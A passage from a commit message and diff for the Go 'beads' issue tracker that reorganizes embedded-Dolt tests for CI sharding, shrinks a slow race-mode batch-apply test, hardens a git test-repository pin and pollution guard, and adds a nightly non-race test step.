tier by grepping `^func TestEmbedded` out of cmd/bd/*_embedded_test.go — a filename-glob match, not a package-wide one. 11 TestEmbedded* functions lived in files that didn't match that glob (auto_import_upgrade_test.go, dep_list_cross_db_test.go, and four files mixing TestEmbedded* with unrelated TestProxiedServer*/TestServerMode*/TestWithFetchOneExtra_* siblings: max_rows_test.go, store_factory_test.go, purge_wisps_plane_integration_test.go, types_create_agreement_test.go). They compiled and would run under a plain `go test`, but were invisible to every CI lane that drives this tier off that discovery (the 20-shard embedded cmd matrix), so they never ran in CI at all. Fixed by relocating them into *_embedded_test.go files: a straight `git mv` for the two files that were purely TestEmbedded* content, and a function-level split for the four mixed files (moving just the TestEmbedded* function itself; shared helpers/types stay put since Go doesn't care which file in a package defines a symbol). The newly discoverable tests aren't in embedded-cmd-test-shards.txt — consistent with the ~55 pre-existing discovered-but-unlisted tests already in this suite, they fall back to the manifest's documented hash(name)%shards assignment. Verified via `BEADS_TEST_SHARD_LIST_ONLY=1` across all 20 shards: all 212 tests (201 + 11) are now listed exactly once, no shard comes up empty. Also verified for real: built the cmd/bd test binary and ran all 11 against a prebuilt bd binary (BEADS_TEST_BD_BINARY) from the repo root, matching how CI invokes the prebuilt CMD_BINARY — all 11 pass. Separately, 5 functions had a `TestEmbedded` prefix for an unrelated reason — go:embed'd content (agents_test.go's AGENTS.md template tests, schema_test.go's migration-source duplicate-version check) — and so were being silently caught and skipped by the repo-wide `-skip '^TestEmbedded'` pattern PR Core/main CI lanes use to exclude the Dolt-embedded tier from ./... runs. Renamed to a TestGoEmbed* prefix so they run where every other unit test in their packages does; no other references to the old names exist in the repo. Confirmed with `-skip '^TestEmbedded'` locally: all 5 now run (previously would have been silently skipped). Repo-wide grep for stray `^func TestEmbedded` outside cmd/bd, internal/storage/embeddeddolt and internal/storage/dolt now returns only internal/tracker's TestEmbeddedDoltExternalRefChangedAfterUsesHistoryFastPath, which is genuinely about the Dolt-embedded backend and correctly named. cmd/bd/BUILD.bazel regenerated via `bazel run //:gazelle` to reflect the renames/new files; it also picked up internal/ceiling as a go_test dep, a sync gap left over from test_repo_beads_guard_test.go's import in the prior commit on this branch. Verified: go build/vet (default, -tags cgo) clean; gofmt clean; go test ./scripts/...; bazel --nohome_rc test //scripts:scripts_test; bazel --nohome_rc build //cmd/bd:bd_embedded_test; bazel --nohome_rc run //:gazelle (cmd/bd/BUILD.bazel diff only); python3 tools/bazel/go_srcs.py --check (make bazel-sync-check); make ci-pr-policy; make ci-pr-lint (gofmt + golangci-lint native/windows/darwin, 0 issues). cmd/bd test binary runs were built from cmd/bd (not the module root) and executed with BEADS_TEST_BD_BINARY set to a binary built the same way, to avoid buildEmbeddedBD's `go build -o X .` resolving "." against the wrong package when invoked outside `go test`'s own working directory — not a bug in this change, reproduced identically against an untouched, already-correctly-named test (TestEmbeddedVersion). /data/projects/beads/.beads checked before and after: no change beyond the pre-existing 166 untracked .beads/formulas/*.toml files already present at session start. Co-Authored-By: Claude Sonnet 5 * fix(embeddeddolt): shrink BoundsTheItemCount's real apply under -race TestBatchApplyContract/BoundsTheItemCount's embedded instantiation measured 903-945s under -race (shard 4's single biggest long pole), because the in-process cgo Dolt engine's own goroutine/lock machinery runs inside the race-instrumented binary for a full 1000-item apply. Every backend's ApplyBatch validates via the same storage.PlanApplyBatch before opening any transaction, so the refusal half of this subtest is already O(1) regardless of count, and the exact 1000/1001 boundary is already pinned, for real and sub-millisecond, by TestPlanApplyBatchAcceptsTheBoundary in internal/storage/batch_apply_test.go. That leaves only "does this backend's own write body durably land N accepted rows" as the expensive, backend-specific thing this subtest's "at bound" half needs N real items for - and N does not need to be 1000 to prove that. Split RunBatchApplyBoundsTheItemCount into a thin wrapper (unchanged, still used by internal/storage/dolt and internal/storage/uow at the full MaxApplyBatchItems) plus a new RunBatchApplyBoundsTheItemCountAtScale taking an explicit atBoundItems. Embedded's subtest now applies 150 items under -race (65.33s locally, down from 749.22s unmodified on the same host) and the full 1000 otherwise, via the existing raceEnabled idiom. internal/storage/dolt's non-race BoundsTheItemCount still covers the shared inner write body at the full 1000-item count every PR. No CI lane covers embedded's own post-commit wrapper at 1000 items anymore after this change (the only non-race embeddeddolt build is compile-only and never executed) - a known, reported, deliberate gap, documented in both the updated large_batch_apply_measure_test.go comment and the task's impl-report.md. Co-Authored-By: Claude Sonnet 5 * fix(git): make test-repository pin survive ResetCaches PinNoRepositoryForTesting wrote its "no repository" sentinel into the same gitCtx variable ResetCaches() unconditionally clears, so any test fixture that calls ResetCaches() after the pin is set (runInDir's cleanup, resetRepoCachesForTest, 25+ call sites) silently un-pins the whole test binary for every later test. A reviewer's probe test proved the bypass: GetRepoRoot() returned the real checkout path after a single runInDir round-trip. Replace it with PinNoRepositoryUnderForTesting(root), a separate, directory-scoped pin checked live against os.Getwd() on every getGitContext() call, before the gitCtxOnce/gitCtx one-shot cache is touched at all. The pin survives ResetCaches() for any working directory at-or-under the pinned root, while fixtures that chdir OUTSIDE that root (the normal t.TempDir() pattern) still get real git detection. Add TestPinNoRepositoryUnderForTestingSurvivesResetCaches, reproducing the reviewer's exact repro and proving the fix: pins a real repo root, confirms unpinned after chdir+ResetCaches outside the root, and confirms STILL pinned after chdir+ResetCaches back inside the root (mimicking runInDir's cleanup). Co-Authored-By: Claude Sonnet 5 * fix(cmd/bd): widen guard fallback coverage, document -C/doctor gap Two review follow-ups on the test-repo .beads guard: 1. Honest scope documentation: FindBeadsDirFrom/ResolveBeadsDirForRepo's -C/doctor paths shell out to git directly with the ceiling env var stripped, so PinNoRepositoryUnderForTesting (see previous commit) does not fence them. Document this residual gap explicitly rather than implying full coverage; covering it would need those call sites to consult the pin too, which is out of scope here. 2. The guard's fallback-.beads watch list only watched metadata.json and skipped watching entirely when the main .beads directory was absent — exactly the layout where the worktree fallback is actually in use. Restructure to check the main and fallback directories independently, add config.yaml/routes.jsonl to the flat watch list, and add a recursive snapshot of dolt/ (snapshotDoltTree) so a real pollution write anywhere under the fallback's Dolt-backed state is caught. diffSnapshots is generalized to also report newly-appeared keys, since a recursive tree snapshot can legitimately gain entries between before/after in ways the old fixed-name flat list never could. Co-Authored-By: Claude Sonnet 5 * fix(ci): pin MaxRows embedded tests off their shared race shard TestEmbeddedMaxRowsNonListPaths and TestEmbeddedMaxRowsList both hashed to embedded cmd shard 16, which measured 746s wall under -race (605s + 214s) against a 19-20 minute budget on a 192-core host with effectively unbounded test.parallel; CI's 4-way parallelism would be worse. Neither test had ever run under race in CI before this branch surfaced them to their own shards. Both tests spawn many independent bd subprocesses per subtest (bdInit + exec.Command), so their cost is dominated by subtest/subprocess count rather than a single large-N parameter; buildEmbeddedBD also never passes -race to the spawned bd binary, so there is no raceEnabled-style "shrink N" lever analogous to BoundsTheItemCount's that would apply here without just deleting coverage. Pin them to shards 11 and 13 instead, the two lightest shards by current manifest+hash-fallback test count (verified via BEADS_TEST_SHARD_LIST_ONLY=1, which lists shard composition without executing any tests). Co-Authored-By: Claude Sonnet 5 * fix(embeddeddolt): correct coverage comments, range-check, document build tags - large_batch_apply_measure_test.go's doc comment above TestLargeBatchApplyWallClock_Embedded had three factual errors: the 150-item sibling subtest does not always run at 150 "race or not" (it's 1000 without -race); the 356-item shape is not "non-race only" (it runs under race too, as the same comment's next line said); and the server-Dolt full suite does not run on "every PR" (full_embedded in .github/scripts/ci-embedded-tier.sh is unconditional on merge_group/push but conditional on PRs, per pr-risk.yml's gating). Rewrote the comment to be self-contained (no out-of-repo citation) and accurate, and reworded the related t.Skip message. Fixed the same "every PR" overstatement in batch_apply_contract_test.go's BoundsTheItemCount race-branch comment. - Added a range-check to conformance.RunBatchApplyBoundsTheItemCountAtScale: atBoundItems must be 1..publicops.MaxApplyBatchItems, since that's the production bound this contract pins. - Documented why race_detector_on_test.go/race_detector_off_test.go use `cgo && race`/`cgo && !race` instead of the plain `race`/`!race` pair used by internal/workapi and cmd/bd: every consumer of raceEnabled here is itself cgo-gated, so the matching cgo tag keeps this file out of non-cgo builds too, where it would otherwise compile with no consumer and trip an unused-lint finding. Co-Authored-By: Claude Sonnet 5 * fix(dolt): give BoundsTheItemCount 3x timeout budget The server-Dolt tier's BoundsTheItemCount subtest measured 66s against the package's shared 90s testTimeout — a thin margin on a loaded CI runner. Give it a dedicated 3x (270s) context.WithTimeout instead of raising the shared testTimeout constant, since that constant also scales every other subtest's 5*testTimeout cleanup bound package-wide; a local override keeps the blast radius to the one expensive subtest. Co-Authored-By: Claude Sonnet 5 * feat(ci): run embedded-Dolt batch-apply suite non-race in nightly The nightly full-test job's main suite (go test -race ... ./...) never sets BEADS_TEST_EMBEDDED_DOLT, so every skipUnlessEmbeddedDolt-gated test in internal/storage/embeddeddolt — including TestBatchApplyContract and the 1000-item case of TestLargeBatchApplyWallClock_Embedded — is skipped on every CI lane, not just this one. Add a dedicated non-race step so a real 1000-item apply through the embedded backend's own version-commit-published-after-the-tx wrapper gets exercised somewhere: non-race because the embedded engine's own goroutine/lock machinery runs inside this test binary and the race detector dramatically inflates its wall-clock (see race_detector_on_test.go), which would defeat the wall- clock test's purpose and reintroduce the kind of shard-timeout pressure the MaxRows shard-pin commit just worked around elsewhere. Verified locally from a fresh /tmp clone (outside any .beads ancestor, per this task's safety rules): BEADS_TEST_EMBEDDED_DOLT=1 go test -tags gms_pure_go -run '^(TestBatchApplyContract|TestLargeBatchApplyWallClock_Embedded)$' ./internal/storage/embeddeddolt PASS, 178.3s total (BoundsTheItemCount 81.06s, WallClock/1000 63.14s), comfortably inside the job's 45-minute timeout. Add TestNightlyFullTestRunsEmbeddedDoltBatchApplySuite to scripts/ci_workflow_test.go, pinning the step's exact run command, its BEADS_TEST_EMBEDDED_DOLT=1 env, that it runs after the main suite step, and that it stays non-race. Co-Authored-By: Claude Sonnet 5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/embedded-cmd-test-shards.txt | 2 + .github/workflows/nightly.yml | 21 + backend/conformance/batch_apply_contract.go | 45 +- cmd/bd/BUILD.bazel | 9 +- ...o => auto_import_upgrade_embedded_test.go} | 0 ....go => dep_list_cross_db_embedded_test.go} | 0 cmd/bd/max_rows_embedded_test.go | 689 +++++++++++++++++ cmd/bd/max_rows_test.go | 707 +----------------- cmd/bd/prime.go | 25 +- cmd/bd/purge_wisps_plane_embedded_test.go | 18 + cmd/bd/purge_wisps_plane_integration_test.go | 11 - cmd/bd/store_factory_embedded_test.go | 24 + cmd/bd/store_factory_test.go | 15 - cmd/bd/test_repo_beads_guard_test.go | 211 +++++- .../types_create_agreement_embedded_test.go | 20 + cmd/bd/types_create_agreement_test.go | 12 - internal/formula/expand.go | 19 +- internal/formula/expand_test.go | 6 +- internal/git/gitdir.go | 89 +++ internal/git/gitdir_test.go | 61 ++ .../storage/dolt/batch_apply_contract_test.go | 119 ++- internal/storage/embeddeddolt/BUILD.bazel | 2 + .../embeddeddolt/batch_apply_contract_test.go | 32 + .../large_batch_apply_measure_test.go | 38 + .../embeddeddolt/race_detector_off_test.go | 6 + .../embeddeddolt/race_detector_on_test.go | 23 + internal/storage/schema/schema_test.go | 4 +- internal/templates/agents/agents_test.go | 10 +- scripts/ci_workflow_test.go | 21 + 29 files changed, 1435 insertions(+), 804 deletions(-) rename cmd/bd/{auto_import_upgrade_test.go => auto_import_upgrade_embedded_test.go} (100%) rename cmd/bd/{dep_list_cross_db_test.go => dep_list_cross_db_embedded_test.go} (100%) create mode 100644 cmd/bd/max_rows_embedded_test.go create mode 100644 cmd/bd/purge_wisps_plane_embedded_test.go create mode 100644 cmd/bd/store_factory_embedded_test.go create mode 100644 cmd/bd/types_create_agreement_embedded_test.go create mode 100644 internal/storage/embeddeddolt/race_detector_off_test.go create mode 100644 internal/storage/embeddeddolt/race_detector_on_test.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index 57efd5f3d..d756a3a4c 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -90,6 +90,8 @@ 20 2 TestEmbeddedLintConcurrent 20 3 TestEmbeddedList 20 4 TestEmbeddedListConcurrent +20 13 TestEmbeddedMaxRowsList +20 11 TestEmbeddedMaxRowsNonListPaths 20 5 TestEmbeddedMemory 20 6 TestEmbeddedMemoryConcurrent 20 7 TestEmbeddedMigrate diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index 6a64c85e3..a1e1355ad 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -148,6 +148,27 @@ jobs: BEADS_TEST_SKIP: dolt run: go test -v -race -tags=integration,gms_pure_go -coverprofile=coverage.out -timeout=30m ./... + # The suite above never sets BEADS_TEST_EMBEDDED_DOLT, so every + # skipUnlessEmbeddedDolt-gated test in internal/storage/embeddeddolt + # (including TestBatchApplyContract and the 1000-item case of + # TestLargeBatchApplyWallClock_Embedded) is skipped there, on every + # lane, not just this one. This step is their only non-race coverage of + # a real 1000-item apply through the embedded backend: the race lanes + # (main.yml, pr-risk.yml) shrink that subtest under raceEnabled — see + # internal/storage/embeddeddolt/large_batch_apply_measure_test.go — and + # the PR-conditional server-Dolt full suite (full_embedded in + # .github/scripts/ci-embedded-tier.sh) covers the SAME write body + # (internal/storage/issueops.ApplyBatchInTx) through a different + # backend, not this one. Non-race here because the embedded engine's + # own goroutine/lock machinery runs inside this test binary and the + # race detector dramatically inflates its wall-clock (see + # race_detector_on_test.go), which is exactly what + # TestLargeBatchApplyWallClock_Embedded is measuring. + - name: Embedded Dolt batch-apply suite (non-race) + env: + BEADS_TEST_EMBEDDED_DOLT: "1" + run: go test -tags gms_pure_go -run '^(TestBatchApplyContract|TestLargeBatchApplyWallClock_Embedded)$' ./internal/storage/embeddeddolt + - name: Check coverage threshold run: | COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print $3}' | sed 's/%//') diff --git a/backend/conformance/batch_apply_contract.go b/backend/conformance/batch_apply_contract.go index e026872b9..354f0cde3 100644 --- a/backend/conformance/batch_apply_contract.go +++ b/backend/conformance/batch_apply_contract.go @@ -1782,21 +1782,56 @@ func RunBatchApplyLandsAnIdempotencyRecordWithItsWork(t *testing.T, ctx context. // alone is satisfied by a bound one step away. func RunBatchApplyBoundsTheItemCount(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { t.Helper() + RunBatchApplyBoundsTheItemCountAtScale(t, ctx, fixture, publicops.MaxApplyBatchItems) +} + +// RunBatchApplyBoundsTheItemCountAtScale is RunBatchApplyBoundsTheItemCount +// with the "at bound" half's REAL applied count overridable to fewer than +// issueops.MaxApplyBatchItems, for a backend whose real engine makes +// applying a full MaxApplyBatchItems batch prohibitively slow in one CI +// configuration (embedded-dolt under the race detector: this subtest alone +// measured 903-945s there, because the in-process Dolt engine's own +// goroutine/lock machinery runs inside the instrumented binary). +// +// This does NOT weaken the boundary this contract pins. The production +// bound itself — exactly issueops.MaxApplyBatchItems accepted, one more +// refused — is independent of atBoundItems and is NOT re-derived from a +// real apply here: every backend's ApplyBatch calls the SAME +// storage.PlanApplyBatch to decide accept-vs-refuse, before touching +// storage at all (batch_applier.go: "VALIDATION HAPPENS BEFORE THE +// TRANSACTION"), and that shared function's own boundary is independently +// pinned, for real, pure and sub-millisecond, by +// TestPlanApplyBatchAcceptsTheBoundary and its "too many items" sibling in +// internal/storage/batch_apply_test.go — run on every `go test`, every +// backend, every PR, unaffected by atBoundItems. The refusing half below is +// UNCHANGED regardless of atBoundItems: it still sends the true +// MaxApplyBatchItems+1 count, because that half is already O(1) (the same +// pre-transaction length check, no backend ever reaches a write). Only the +// "at bound" half's REAL applied count is adjustable, to prove a backend's +// own write body does not drop, double or truncate a large accepted batch +// without paying for the full MaxApplyBatchItems every time one backend's +// real engine makes that unusually expensive. +func RunBatchApplyBoundsTheItemCountAtScale(t *testing.T, ctx context.Context, fixture BatchApplyFixture, atBoundItems int) { + t.Helper() + if atBoundItems < 1 || atBoundItems > publicops.MaxApplyBatchItems { + t.Fatalf("atBoundItems = %d, want 1..%d (the production bound this contract pins)", atBoundItems, publicops.MaxApplyBatchItems) + } const accepted = "batch apply at the item bound" const refused = "batch apply over the item bound" - atBound := make([]publicops.ApplyItem, publicops.MaxApplyBatchItems) + atBound := make([]publicops.ApplyItem, atBoundItems) for i := range atBound { atBound[i] = batchApplyCreate("", batchApplyMintedIssue(accepted)) } result := batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{Actor: "apply-writer", Items: atBound}) - if len(result.Items) != publicops.MaxApplyBatchItems { - t.Fatalf("a request of exactly MaxApplyBatchItems returned %d item results, want %d", len(result.Items), publicops.MaxApplyBatchItems) + if len(result.Items) != atBoundItems { + t.Fatalf("a request of %d items returned %d item results, want %d", atBoundItems, len(result.Items), atBoundItems) } - if got := batchApplyCount(t, ctx, fixture, "SELECT COUNT(*) FROM issues WHERE title = ?", []any{accepted}); got != publicops.MaxApplyBatchItems { - t.Errorf("%d row(s) landed for a request of exactly MaxApplyBatchItems, want %d", got, publicops.MaxApplyBatchItems) + if got := batchApplyCount(t, ctx, fixture, "SELECT COUNT(*) FROM issues WHERE title = ?", []any{accepted}); got != atBoundItems { + t.Errorf("%d row(s) landed for a request of %d items, want %d", got, atBoundItems, atBoundItems) } + // Unchanged: the true production bound, regardless of atBoundItems. overBound := make([]publicops.ApplyItem, publicops.MaxApplyBatchItems+1) for i := range overBound { overBound[i] = batchApplyCreate("", batchApplyMintedIssue(refused)) diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 0e22add77..79331ddcb 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -510,7 +510,7 @@ go_test( "agent_hook_test.go", "assign_fence_embedded_test.go", "assign_fence_proxied_test.go", - "auto_import_upgrade_test.go", + "auto_import_upgrade_embedded_test.go", "auto_import_upgrade_unit_test.go", "autocommit_embedded_test.go", "backend_registry_contract_test.go", @@ -657,7 +657,7 @@ go_test( "dep_cycles_test.go", "dep_edge_reader_test.go", "dep_embedded_test.go", - "dep_list_cross_db_test.go", + "dep_list_cross_db_embedded_test.go", "dep_proxied_integration_test.go", "dep_relation_test.go", "dep_test.go", @@ -901,6 +901,7 @@ go_test( "main_test.go", "maintenance_commands_proxied_integration_test.go", "markdown_test.go", + "max_rows_embedded_test.go", "max_rows_test.go", "memory_embedded_test.go", "memory_proxied_integration_test.go", @@ -996,6 +997,7 @@ go_test( "prune_proxied_integration_test.go", "purge_embedded_test.go", "purge_test.go", + "purge_wisps_plane_embedded_test.go", "purge_wisps_plane_integration_test.go", "purge_wisps_plane_managed_local_test.go", "query_embedded_test.go", @@ -1125,6 +1127,7 @@ go_test( "storage_class_embedded_test.go", "storage_class_proxied_integration_test.go", "storage_class_pure_test.go", + "store_factory_embedded_test.go", "store_factory_nocgo_test.go", "store_factory_test.go", "store_reopen_embedded_resolution_test.go", @@ -1161,6 +1164,7 @@ go_test( "tracker_frontdoor_proxy_test.go", "tracker_proxy_uow_conformance_integration_test.go", "types_builtin_test.go", + "types_create_agreement_embedded_test.go", "types_create_agreement_test.go", "types_embedded_test.go", "unclaim_conditional_embedded_test.go", @@ -1240,6 +1244,7 @@ go_test( "//cmd/bd/doctor", "//internal/ado", "//internal/beads", + "//internal/ceiling", "//internal/config", "//internal/configfile", "//internal/debug", diff --git a/cmd/bd/auto_import_upgrade_test.go b/cmd/bd/auto_import_upgrade_embedded_test.go similarity index 100% rename from cmd/bd/auto_import_upgrade_test.go rename to cmd/bd/auto_import_upgrade_embedded_test.go diff --git a/cmd/bd/dep_list_cross_db_test.go b/cmd/bd/dep_list_cross_db_embedded_test.go similarity index 100% rename from cmd/bd/dep_list_cross_db_test.go rename to cmd/bd/dep_list_cross_db_embedded_test.go diff --git a/cmd/bd/max_rows_embedded_test.go b/cmd/bd/max_rows_embedded_test.go new file mode 100644 index 000000000..ac2ccf481 --- /dev/null +++ b/cmd/bd/max_rows_embedded_test.go @@ -0,0 +1,689 @@ +//go:build cgo + +// be-u8z9: CLI-layer behavioral tests for BEADS_MAX_ROWS / --max-rows on the +// command paths beyond `bd list`. Each subtest: +// - inits a fresh rig (own DB so the row counts are exact) +// - exercises the command via exec.Command(bd, ...) +// - asserts the process exited with code 2 (cap exceeded) and that stderr +// names the source ("--max-rows=N" or "BEADS_MAX_ROWS=N"). +// +// Gating matches the other embedded-dolt CLI tests: requires +// BEADS_TEST_EMBEDDED_DOLT=1 to opt in. + +package main + +import ( + "fmt" + "os" + "os/exec" + "strings" + "testing" +) + +func bdRunRaw(t *testing.T, bd, dir string, envExtras []string, args ...string) (string, int) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = dir + env := bdEnv(dir) + env = append(env, envExtras...) + cmd.Env = env + out, err := cmd.CombinedOutput() + if err == nil { + return string(out), 0 + } + if exitErr, ok := err.(*exec.ExitError); ok { + return string(out), exitErr.ExitCode() + } + t.Fatalf("bd %s unexpected non-exit error: %v\n%s", strings.Join(args, " "), err, out) + return string(out), -1 +} + +// seedReadyIssues creates n top-level (no-dep, no-blocker) issues that all +// appear in `bd ready`. Useful for tests that need exactly n ready rows. +func seedReadyIssues(t *testing.T, bd, dir string, n int) []string { + t.Helper() + ids := make([]string, n) + for i := 0; i < n; i++ { + iss := bdCreate(t, bd, dir, fmt.Sprintf("max-rows seed %d", i), "--type", "task") + ids[i] = iss.ID + } + return ids +} + +// TestEmbeddedMaxRowsNonListPaths covers the non-list CLI paths wired up in +// be-x42v.2: ready, dep tree, find-duplicates, graph --all, plus the env-only +// doctor family (lint, doctor --check=conventions, doctor --check=pollution), +// and config show emission of BEADS_MAX_ROWS. +func TestEmbeddedMaxRowsNonListPaths(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + + // ----------- bd ready ----------- + + t.Run("ReadyMaxRows_FlagOverCap_Exits2", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mrrdf") + seedReadyIssues(t, bd, dir, 6) + + out, code := bdRunRaw(t, bd, dir, nil, "ready", "--max-rows", "3") + if code != 2 { + t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) + } + if !strings.Contains(out, "too many rows") { + t.Errorf("stderr missing 'too many rows':\n%s", out) + } + if !strings.Contains(out, "--max-rows=3") { + t.Errorf("stderr missing source --max-rows=3:\n%s", out) + } + }) + + t.Run("ReadyMaxRows_EnvOverCap_Exits2", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mrrde") + seedReadyIssues(t, bd, dir, 6) + + out, code := bdRunRaw(t, bd, dir, []string{"BEADS_MAX_ROWS=3"}, "ready") + if code != 2 { + t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) + } + if !strings.Contains(out, "BEADS_MAX_ROWS=3") { + t.Errorf("stderr missing source BEADS_MAX_ROWS=3:\n%s", out) + } + }) + + // `bd ready --json` and `bd list --ready --json` route through + // GetReadyWorkWithCountsInTx, a separate query path from the plain + // `bd ready` above (GetReadyWorkInTx). Mirrors + // TestEmbeddedMaxRowsList/Flag_OverCap's --json coverage for `bd list`. + t.Run("ReadyMaxRowsJSON_FlagOverCap_Exits2", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mrrjf") + seedReadyIssues(t, bd, dir, 6) + + out, code := bdRunRaw(t, bd, dir, nil, "ready", "--json", "--max-rows", "3") + if code != 2 { + t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) + } + if !strings.Contains(out, "too many rows") { + t.Errorf("stderr missing 'too many rows':\n%s", out) + } + if !strings.Contains(out, "--max-rows=3") { + t.Errorf("stderr missing source --max-rows=3:\n%s", out) + } + if idx := strings.Index(out, "Error: too many rows"); idx >= 0 { + if strings.Contains(out[:idx], "[") { + t.Errorf("stdout JSON output leaked before error message:\nfull=%s", out) + } + } + }) + + t.Run("ListReadyMaxRowsJSON_FlagOverCap_Exits2", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mrrjl") + seedReadyIssues(t, bd, dir, 6) + + out, code := bdRunRaw(t, bd, dir, nil, "list", "--ready", "--json", "--max-rows", "3") + if code != 2 { + t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) + } + if !strings.Contains(out, "too many rows") { + t.Errorf("stderr missing 'too many rows':\n%s", out) + } + if !strings.Contains(out, "--max-rows=3") { + t.Errorf("stderr missing source --max-rows=3:\n%s", out) + } + }) + + // be-x42v.4 follow-up (review SHOULD-FIX 8): confirms the cap still + // fires end-to-end for --include-ephemeral after propagating MaxRows + // into getReadyWispsInTx's wisp query (internal/storage/issueops/ + // ready_work.go) — that change bounds the query itself but must not + // change whether the post-merge cap check in GetReadyWorkInTx trips. + t.Run("ReadyIncludeEphemeralMaxRows_FlagOverCap_Exits2", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mrre") + for i := 0; i < 6; i++ { + bdCreate(t, bd, dir, fmt.Sprintf("Ephemeral ready %d", i), "--type", "task", "--ephemeral") + } + + out, code := bdRunRaw(t, bd, dir, nil, "ready", "--include-ephemeral", "--max-rows", "3") + if code != 2 { + t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) + } + if !strings.Contains(out, "too many rows") { + t.Errorf("stderr missing 'too many rows':\n%s", out) + } + if !strings.Contains(out, "--max-rows=3") { + t.Errorf("stderr missing source --max-rows=3:\n%s", out) + } + }) + + // be-x42v.4 round-3 follow-up: GetReadyWorkWithCountsInTx (the `--json` + // path) independently bounds each of the issues and wisps queries by + // EffectiveSearchLimit(Limit, MaxRows), so with --include-ephemeral the + // PRE-TRIM merge of two tables can hold up to ~2x that per-table bound + // even though the caller's own --limit already keeps the DELIVERED page + // well within the cap. limit=2, cap=3, 2 ready rows in each table: each + // table's query returns 2 (2<=limit, no overage sniff at the per-table + // level — EffectiveSearchLimit(2,3)=2), the pre-trim merge is 4>cap=3, + // but the page actually handed back to the caller is trimmed to 2<=cap. + // Must exit 0, not trip the cap on the untrimmed merge. + t.Run("ReadyIncludeEphemeralMaxRowsJSON_MergedUnderLimit_NoError", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mrrm") + for i := 0; i < 2; i++ { + bdCreate(t, bd, dir, fmt.Sprintf("Plain ready %d", i), "--type", "task") + } + for i := 0; i < 2; i++ { + bdCreate(t, bd, dir, fmt.Sprintf("Ephemeral ready %d", i), "--type", "task", "--ephemeral") + } + + out, code := bdRunRaw(t, bd, dir, nil, "ready", "--json", "--include-ephemeral", + "--limit", "2", "--max-rows", "3") + if code != 0 { + t.Fatalf("expected exit 0 (delivered page under cap despite pre-trim merge overage), got %d\n%s", code, out) + } + if strings.Contains(out, "too many rows") { + t.Errorf("delivered-page-under-cap should not emit cap error:\n%s", out) + } + }) + + // ----------- bd dep tree ----------- + + t.Run("DepTreeMaxRows_TreeNodes_Exits2", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mrdt") + // All tasks: default "blocks" dep type rejects epic→task, but task→task + // is fine and produces a tree with the same shape for cap purposes. + root := bdCreate(t, bd, dir, "Tree root", "--type", "task") + // Add 5 children so the dep tree has 6 nodes total (root + 5). + for i := 0; i < 5; i++ { + child := bdCreate(t, bd, dir, fmt.Sprintf("Tree dep %d", i), "--type", "task") + // `bd dep add A B` makes A depend on B (default dep type is "blocks"). + bdDepAdd(t, bd, dir, root.ID, child.ID) + } + + // Sanity: tree of size 6, cap of 2 → must exit 2 with source attribution. + out, code := bdRunRaw(t, bd, dir, nil, "dep", "tree", root.ID, "--max-rows", "2") + if code != 2 { + t.Fatalf("expected exit 2 (tree size > cap), got %d\n%s", code, out) + } + if !strings.Contains(out, "too many rows") { + t.Errorf("stderr missing 'too many rows':\n%s", out) + } + if !strings.Contains(out, "--max-rows=2") { + t.Errorf("stderr missing source --max-rows=2:\n%s", out) + } + }) + + // ----------- bd find-duplicates ----------- + + t.Run("FindDuplicatesMaxRows_Exits2", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mrfd") + seedReadyIssues(t, bd, dir, 6) + + out, code := bdRunRaw(t, bd, dir, nil, "find-duplicates", "--max-rows", "3") + if code != 2 { + t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) + } + if !strings.Contains(out, "--max-rows=3") { + t.Errorf("stderr missing source --max-rows=3:\n%s", out) + } + }) + + // ----------- bd graph --all ----------- + + t.Run("GraphAllMaxRows_Exits2", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mrgr") + seedReadyIssues(t, bd, dir, 6) + + out, code := bdRunRaw(t, bd, dir, nil, "graph", "--all", "--max-rows", "3") + if code != 2 { + t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) + } + if !strings.Contains(out, "--max-rows=3") { + t.Errorf("stderr missing source --max-rows=3:\n%s", out) + } + }) + + // be-x42v.4 follow-up (review SHOULD-FIX 7): `bd graph ` without + // --all never resolved the cap at all before the fix — loadGraphSubgraph + // is a BFS over per-ID GetDependents/GetDependencies lookups with no + // IssueFilter to thread MaxRows through, so this checks the final + // connected-component node count post-hoc, mirroring dep tree. + t.Run("GraphSingleIssueMaxRows_NodeCount_Exits2", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mrgs") + root := bdCreate(t, bd, dir, "Graph root", "--type", "task") + for i := 0; i < 5; i++ { + child := bdCreate(t, bd, dir, fmt.Sprintf("Graph dep %d", i), "--type", "task") + bdDepAdd(t, bd, dir, root.ID, child.ID) 